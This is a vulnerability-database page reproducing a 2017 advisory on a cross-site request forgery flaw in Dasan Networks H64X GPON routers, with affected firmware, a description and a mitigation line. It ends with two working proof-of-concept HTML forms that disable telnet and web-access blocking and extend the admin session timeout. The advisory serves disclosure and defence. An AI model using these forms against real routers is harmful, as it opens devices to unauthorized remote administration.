Dasan Networks GPON ONT WiFi Router H64X Series Cross-Site Request Forgery

vendor:

GPON ONT WiFi Router H64X Series

by:

Gjoko 'LiquidWorm' Krstic

8,8

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: GPON ONT WiFi Router H64X Series

Affected Version From: 2.45-1045

Affected Version To: 3.03p1-1145

Patch Exists: YES

Related CWE: N/A

CPE: h:dasan_networks:h640gr-02

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: lighttpd/1.4.31, DasanNetwork Solution

2017

Dasan Networks GPON ONT WiFi Router H64X Series Cross-Site Request Forgery

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain, if not all actions with administrative privileges if a logged-in user visits a malicious web site.

Mitigation:

Implement proper input validation and authentication checks to verify the requests.

Source

Exploit-DB raw data:

Dasan Networks GPON ONT WiFi Router H64X Series Cross-Site Request Forgery


Vendor: Dasan Networks
Product web page: http://www.dasannetworks.com | http://www.dasannetworks.eu
Affected version: Model: H640GR-02
                         H640GV-03
                         H640GW-02
                         H640RW-02
                         H645G
               Firmware: 3.03p1-1145
                         3.03-1144-01
                         3.02p2-1141
                         2.77p1-1125
                         2.77-1115
                         2.76-9999
                         2.76-1101
                         2.67-1070
                         2.45-1045

Summary: H64xx is comprised of one G-PON uplink port and four ports
of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It
helps service providers to extend their core optical network all the
way to their subscribers, eliminating bandwidth bottlenecks in the
last mile. H64xx is integrated device that provide the high quality
Internet, telephony service (VoIP) and IPTV or OTT content for home
or office. H64xx enable the subscribers to make a phone call whose
quality is equal to PSTN at competitive price, and enjoy the high
quality resolution live video and service such as VoD or High Speed
Internet.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain, if not all actions
with administrative privileges if a logged-in user visits a malicious
web site.

Tested on: Server: lighttpd/1.4.31
           Server: DasanNetwork Solution


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5422
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5422.php


19.05.2017

--


Enable telnet access (disable telnet blocking):
Enable web access (disable web blocking):
-----------------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.0.1:8080/cgi-bin/remote_mgmt_action.cgi" method="POST">
      <input type="hidden" name="rdoIPhost2TelnetBlocking" value="0" />
      <input type="hidden" name="rdoIPhost2WebBlocking" value="0" />
      <input type="hidden" name="waiting&#95;action" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



Increase session timeout (0: disable, min: 1, max: 60):
-------------------------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.0.1:8080/cgi-bin/websetting_action.cgi" method="POST">
      <input type="hidden" name="sessionTimeout" value="60" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>